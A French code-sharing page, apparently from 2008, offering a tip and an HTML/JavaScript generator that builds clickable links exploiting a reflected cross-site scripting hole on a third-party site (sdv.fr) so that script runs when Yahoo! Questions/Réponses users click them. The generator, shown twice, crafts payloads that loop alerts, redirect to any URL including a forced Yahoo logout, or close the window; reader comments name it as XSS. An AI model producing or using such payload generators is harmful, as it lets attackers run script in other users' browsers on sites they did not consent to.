begin process at 2012 05 28 09:54:10
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Trucs & Astuces

 > EXÉCUTER UN SCRIPT INSÉRÉ DANS UN LIEN SUR YAHOO! QUESTIONS/RÉPONSES

EXÉCUTER UN SCRIPT INSÉRÉ DANS UN LIEN SUR YAHOO! QUESTIONS/RÉPONSES


 Description

Dans la section Yahoo! Questions/Réponses, lorsqu'une adresse de page Web est insérée en question ou en réponse, le lien devient actif (ou cliquable).
Par exemple, si vous tapez:
http://www.javascriptfr.com/
une fois la question ou la réponse postée, l'adresse devient un lien actif.

Il est possible alors d'insérer un script dans une adresse de page Web afin qu'il soit exécuté lorsque le lien est cliqué.
Par exemple, en insérant l'adresse suivante:
http://www.sdv.fr/cgi/clients/getadmin?w ip=<script>alert('Merci!');</script>
on peut faire afficher un message d'alerte contenant le texte: Merci!

Toutefois, le l'adresse ne doit en aucun cas contenir d'espace sinon le lien ne devient plus actif.
Ainsi, la définition de variables en javascript utilisant la fonction "var " n'est pas utilisable ici.
Néanmoins, il est possible d'utiliser les fonctions telles que:
- alert(); pour afficher un message d'alerte
- for(a=0;a<10;a++){}; pour réaliser une boucle
- a=confirm();if(a==true){}else{} pour proposer un choix conditionnel
- self.close(); pour fermer la fenêtre de navigation
- location.href=""; pour rediriger vers la page souhaitée
etc.

Ainsi, une page HTML a été crée afin de faciliter l'insertion de scripts dans un lien.
Le code source de cette page est présenté dans la section Source.



Source

  • <html>
  • <head>
  • <title>Générateur de scripts dans un lien</title>
  • <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  • <SCRIPT>
  • function montrer()
  • {
  • if (document.forms.input.cb_alert.checked == true)
  • {
  • var str2 = document.forms.input.tx_alert.value;
  • str2 = str2.replace(/ /g, "_");
  • str2 = str2.replace(/'/g, "");
  • str2 = str2.replace(/"/g, "");
  • alert(str2);
  • }
  • else
  • {
  • alert("Merci de coche la case d'action correspondante.");
  • }
  • }
  • function generer()
  • {
  • var str0 = "http://www.sdv.fr/cgi/clients/getadmin?wip=<script>";
  • var str1 = "";
  • if (document.forms.input.cb_for.checked == true)
  • {
  • str1 = str1 + "for(i=0;i<"+document.forms.input.tx_for.value+";i++){";
  • }
  • if (document.forms.input.cb_alert.checked == true)
  • {
  • var str2 = document.forms.input.tx_alert.value;
  • str2 = str2.replace(/ /g, "_");
  • str2 = str2.replace(/'/g, "");
  • str2 = str2.replace(/"/g, "");
  • str1 = str1 + "alert('" + str2 + "');";
  • }
  • if (document.forms.input.cb_for.checked == true)
  • {
  • str1 = str1 + "}";
  • }
  • if (document.forms.input.cb_href.checked == true)
  • {
  • var c = 0;
  • for (i=0;i<3;i++)
  • {if (document.forms.input.choix[i].checked == true){c=i;break;}}
  • var str3 = document.forms.input.choix[i].value;
  • if (str3 == "")
  • {str3=document.forms.input.tx_href.value;}
  • str1 = str1 + 'location.href="'+ str3 + '";';
  • }
  • if (document.forms.input.cb_close.checked == true)
  • {
  • str1 = str1 + "self.close();";
  • }
  • if (str1 == "")
  • {str0 = "";}
  • else
  • {str0 = str0 + str1 + "</" + "script>";}
  • document.forms.input.script_gen.value = str0;
  • }
  • </SCRIPT>
  • </head>
  • <body bgcolor="#FFFFFF" text="#000000">
  • <p>Cette page permet de g&eacute;n&eacute;rer un script ex&eacute;cutable en cliquant sur
  • un lien dans Yahoo! Q/R.</p>
  • Cochez les actions que vous souhaitez effectuer :
  • <FORM NAME="input">
  • <input type="checkbox" name="cb_for" unchecked onclick="javascript:generer()">
  • Faire tourner une boucle
  • <input type="text" name="tx_for" value="10" size=3>
  • fois
  • <p></p>
  • <p>
  • <input type="checkbox" name="cb_alert" unchecked onclick="javascript:generer()">
  • Afficher le texte suivant<br>
  • <textarea name="tx_alert" cols="40" wrap="VIRTUAL">Merci!</textarea>
  • <br>
  • &nbsp;Ajouter \n pour indiquer de revenir à la ligne </p>
  • <p>
  • <input type="button" name="Submit" value="Afficher le r&eacute;sultat" onclick="javascript:montrer()">
  • </p>
  • <p></p>
  • <input type="checkbox" name="cb_href" unchecked onclick="javascript:generer()">
  • Rediriger vers :
  • <br>
  • &nbsp;&nbsp;&nbsp;&nbsp;
  • <INPUT TYPE="radio" NAME="choix" VALUE="http://login.europe.yahoo.com/config/login?logout=1" defaultchecked=true onclick="javascript:generer()" checked>
  • La déconnexion de Yahoo!
  • <br>
  • &nbsp;&nbsp;&nbsp;&nbsp;
  • <INPUT TYPE="radio" NAME="choix" VALUE="http://fr.answers.yahoo.com/info/community_guidelines.php" onclick="javascript:generer()">
  • La charte Yahoo! France
  • <br>
  • &nbsp;&nbsp;&nbsp;&nbsp;
  • <INPUT TYPE="radio" NAME="choix" VALUE="" onclick="javascript:generer()">
  • La page suivante
  • <input type="text" name="tx_href" value="http://www." size=100>
  • <p></p>
  • <input type="checkbox" name="cb_close" unchecked onclick="javascript:generer()">
  • Fermer la fenêtre
  • <p></p>
  • Script généré :<br>
  • <textarea name="script_gen" onFocus="javascript:generer()" cols="100" wrap="VIRTUAL"></textarea>
  • </form>
  • </body>
  • </html>
<html>
<head>
<title>Générateur de scripts dans un lien</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<SCRIPT>
function montrer()
{
if (document.forms.input.cb_alert.checked == true)
{
var str2 = document.forms.input.tx_alert.value;
str2 = str2.replace(/ /g, "_");
str2 = str2.replace(/'/g, "");
str2 = str2.replace(/"/g, "");
alert(str2);
}
else
{
alert("Merci de coche la case d'action correspondante.");
}
}

function generer()
{
var str0 = "http://www.sdv.fr/cgi/clients/getadmin?wip=<script>";
var str1 = "";

if (document.forms.input.cb_for.checked == true)
{
str1 = str1 + "for(i=0;i<"+document.forms.input.tx_for.value+";i++){";
}


if (document.forms.input.cb_alert.checked == true)
{
var str2 = document.forms.input.tx_alert.value;
str2 = str2.replace(/ /g, "_");
str2 = str2.replace(/'/g, "");
str2 = str2.replace(/"/g, "");
str1 = str1 + "alert('" + str2 + "');";
}


if (document.forms.input.cb_for.checked == true)
{
str1 = str1 + "}";
}


if (document.forms.input.cb_href.checked == true)
{
var c = 0;
for (i=0;i<3;i++)
{if (document.forms.input.choix[i].checked == true){c=i;break;}}
var str3 = document.forms.input.choix[i].value;
if (str3 == "")
{str3=document.forms.input.tx_href.value;}
str1 = str1 + 'location.href="'+ str3 + '";';
}

if (document.forms.input.cb_close.checked == true)
{
str1 = str1 + "self.close();";
}


if (str1 == "")
{str0 = "";}
else
{str0 = str0 + str1 + "</" + "script>";}

document.forms.input.script_gen.value = str0;

}

</SCRIPT>

</head>

<body bgcolor="#FFFFFF" text="#000000">
<p>Cette page permet de g&eacute;n&eacute;rer un script ex&eacute;cutable en cliquant sur 
  un lien dans Yahoo! Q/R.</p>
Cochez les actions que vous souhaitez effectuer :
<FORM NAME="input">
<input type="checkbox" name="cb_for" unchecked onclick="javascript:generer()">
Faire tourner une boucle
<input type="text" name="tx_for" value="10" size=3>
fois
<p></p>

  <p> 
    <input type="checkbox" name="cb_alert" unchecked onclick="javascript:generer()">
    Afficher le texte suivant<br>
    <textarea name="tx_alert" cols="40" wrap="VIRTUAL">Merci!</textarea>
    <br>
    &nbsp;Ajouter \n pour indiquer de revenir à la ligne </p>
  <p>
    <input type="button" name="Submit" value="Afficher le r&eacute;sultat" onclick="javascript:montrer()">
  </p>
  <p></p>

<input type="checkbox" name="cb_href" unchecked onclick="javascript:generer()">
Rediriger vers :
<br>
  &nbsp;&nbsp;&nbsp;&nbsp; 
  <INPUT TYPE="radio" NAME="choix" VALUE="http://login.europe.yahoo.com/config/login?logout=1" defaultchecked=true onclick="javascript:generer()" checked>
La déconnexion de Yahoo!
<br>
  &nbsp;&nbsp;&nbsp;&nbsp; 
  <INPUT TYPE="radio" NAME="choix" VALUE="http://fr.answers.yahoo.com/info/community_guidelines.php" onclick="javascript:generer()">
La charte Yahoo! France
<br>
  &nbsp;&nbsp;&nbsp;&nbsp; 
  <INPUT TYPE="radio" NAME="choix" VALUE="" onclick="javascript:generer()">
La page suivante 
  <input type="text" name="tx_href" value="http://www." size=100>
<p></p>

<input type="checkbox" name="cb_close" unchecked onclick="javascript:generer()">
Fermer la fenêtre
<p></p>

Script généré :<br>
  <textarea name="script_gen" onFocus="javascript:generer()" cols="100" wrap="VIRTUAL"></textarea>

</form>
</body>
</html>

 Conclusion

Il n'est toutefois pas recommandé d'abuser de l'utilisation de ces scripts dans Yahoo! Q/R sous peine d'exclusion définitive du service.



 Sources du même auteur

CARTAGE (30AVRIL2008) - FUSION EDITION
OUVRIR ET TESTER PAGES WEB V2
ENREGISTREUR DE LIENS

 Sources de la même categorie

PARSER LES CARACTÈRES HTML D'UNE STRING par jdmcreator
CONSTRUCTION D'UNE TABLE TRIABLE À PARTIR D'UN TABLEAU 2D par phm
Source avec Zip Source avec une capture SUBDIVISER LE RÉSULTAT D'UNE RECHERCHE EN PAGES par kimmp
Source avec Zip TIMER : SETTIMEOUT & SETINTERVAL AMÉLIORÉS par jdmcreator
Source avec Zip Source avec une capture ONGLETS ET CHANGEMENT INSTANTANÉ DE LA LANGUE par william voirol

 Sources en rapport avec celle ci

Source avec Zip Source avec une capture FORMULAIRE TABLEAU par vic511
Source avec Zip Source avec une capture SUBDIVISER LE RÉSULTAT D'UNE RECHERCHE EN PAGES par kimmp
Source avec Zip Source avec une capture CALCULATRICE HEURE par m22001111
Source avec Zip Source avec une capture COPIER DU TEXTE par m22001111
Source avec Zip ROTATION D'UNE IMAGE, ANIMATION par william voirol

Commentaires et avis

Commentaire de Arto_8000 le 21/01/2008 15:16:48

C'est ce qu'on appelle dans le jargon un XSS, et quel serait le but d'utiliser une faille de sécurité d'un autre site ?

Commentaire de benoitmacier le 23/01/2008 10:44:14

Merci /ARTO_8000/ pour l'information.
N'étant ni informaticien, ni programmeur, je ne connaissais pas le terme de "Cross Site Scripting".

Quant à ta question: "quel serait le but d'utiliser une faille de sécurité d'un autre site ?"
Je répondrai mettre en évidence l'impact que peut avoir cette faille sur un autre site, tel que Yahoo! Q/R en l'occurence.

Commentaire de Arto_8000 le 23/01/2008 15:19:51

La faille utilisé n'est pas sur Yahoo justement, tu utilises le XSS d'un autre site. http://www.sdv.fr/ c'est pas Yahoo ça.

Commentaire de benoitmacier le 07/02/2008 09:48:34

je n'est pas dit le contraire.  C'est toi qui a mal interprété ma réponse.
Quoiqu'il en soit, il semble que maintenant la fonction générant des "liens cliquables" ait été supprimée:
http://fr.answers.yahoo.com/question/index?qid=20080207001116AAUgLwQ&r=w#PcFbCUThDUWls9qb5LDP
Ce n'est pas une si mauvaise chose que ça.

Commentaire de FREMYCOMPANY le 12/03/2008 20:20:18

Euh, je ne parlerai pas du débat XSS ou pas XSS mais rien n'empecher d'utiliser des JavaScript contentant des espaces, vu que normalement une URL doit être encodée (les espaces, c'est %20, par exemple)

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

javascript partiellement refusé pour une page d'une boutique (professionnelles) sur ebay [ par Log40 ] suite à un problème avec du javascript et dans le cadre d'une activité professionnel, j'ai choisi votre forum afin de vous demander conseil. Je compte Insérer Javascript dans XML [ par raven44 ] Bonjour, J'ai une page PHP qui me génère un document XML. Dans cette page, je dois faire appel également un bout code javascript réalisé en AJAX. J' Insertion d'image [ par dedesniper ] Salut à tous ! Je vous expose mon problème : J'utilise un logiciel qui s'appel CenoPDF qui permet de créer des PDF via Word. J'ai créé un formulaire Div Fixe avec Javascript. Petite incompatibilité avec firefox [ par poinball ] Bonjour, J'ai modifié un script existant qui me permet d'avoir une barre Div fixe Css Javascript dans le bas de ma page voici le résultat : [url=http valeur inserer dynamiquement dans javascript [ par mdh12 ] salut, j'espère que je suis dans le bon espace de forum pour traiter mon problème le code suivant sert a afficher le statistique sous forme de comenb Appel d'une fonction javascript dans une variable xsl [ par severye ] Bonjour, [^^confus2][^^confus2][^^confus2] Après de nombreuses recherches sur le net, je n'ai pas trouvé la réponse à ma question : Peut-on appeler javascript et class [ par vol68 ] Bonjour j'aurais aimé savoir si il était possible à partir de javascript de modifier une class ex: style css3 [code=HTML] /*CSS3*/ .rotatetexte{ -mo programmer en javascript (boucle while) [ par Madonnina78 ] bonjour, quelqu'un serait me dire comment programmer en javascript ceci: on demande à l'utilisateur d'entrer un chiffre compris entre 10 et 20. si Quelle est la dernière version de Javascript [ par jeanc_123 ] Bonjour, N'ayant pas encore IE9 ni installé FF4, j'aurais aimé savoir quelle est la toute dernière version de javascript. Ceci afin d'anticiper d'éve Affichage des certificats en javascript [ par lebillaj ] Bonjour à tous, Je cherche a faire une page HTML qui permet d'afficher les certificats (de signature, chiffrement, authent) stockés dans mon magasin d


Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 1,513 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales